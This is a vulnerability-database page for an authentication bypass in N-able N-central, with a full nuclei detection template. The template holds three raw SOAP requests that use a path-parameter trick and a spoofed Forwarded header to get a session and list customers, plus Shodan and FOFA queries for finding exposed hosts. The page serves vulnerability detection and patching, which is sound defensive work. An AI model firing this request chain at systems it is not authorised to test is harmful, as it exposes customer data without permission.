Browse / CVEs / CVE-2026-86207
CVE-2026-86207· n-able / n-central· CWE-287
N-able N-central - Authentication Bypass
criticalseverity
9.8CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.
Impact
Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.
Fix
Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later. Hosted N-central environments have already been patched by the vendor.
How to confirm it
Send: POST /dms;/services/ServerUI
Positive when: status_code == 200 and contains_all(body, 'SessionID') and contains(content_type, 'text/xml')
Send: POST /dms;/services/ServerUI
Positive when: status_code == 500 and contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')
Send: POST /dms;/services/ServerUI
Positive when: status_code == 200 and contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName') and contains(content_type, 'text/xml')Run it with nuclei: nuclei -id CVE-2026-86207 -u <target>
The full check
id: CVE-2026-86207
info:
name: N-able N-central - Authentication Bypass
author: rapid7,DhiyaneshDk
severity: critical
description: |
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.
impact: |
Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.
remediation: |
Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later.
Hosted N-central environments have already been patched by the vendor.
reference:
- https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
- https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
- https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-86207
epss-score: 0.01254
epss-percentile: 0.6971
cwe-id: CWE-287
metadata:
verified: true
max-request: 3
vendor: n-able
product: n-central
shodan-query: title:"N-central"
fofa-query: title="N-central"
tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
<soapenv:Body>
<ei:sessionHello>
<ei:in0>3</ei:in0>
</ei:sessionHello>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'SessionID')"
- "contains(content_type, 'text/xml')"
condition: and
internal: true
extractors:
- type: regex
name: session_id
part: body
group: 1
regex:
- '<SessionID[^>]*>([0-9]+)</SessionID>'
internal: true
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
<soapenv:Body>
<ei:userTwoFactorLogin>
<ei:sessionID>{{session_id}}</ei:sessionID>
<ei:userID>1</ei:userID>
<ei:password>dummy</ei:password>
</ei:userTwoFactorLogin>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- "status_code == 500"
- "contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')"
condition: and
internal: true
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
<soapenv:Body>
<ei:customerList>
<ei:in0>{{session_id}}</ei:in0>
<ei:in1>1</ei:in1>
<ei:in2>true</ei:in2>
<ei:in3>false</ei:in3>
</ei:customerList>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName')"
- "contains(content_type, 'text/xml')"
condition: andReferences
- https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
- https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
- https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
Use this check only on systems you are authorised to test. Where the data comes from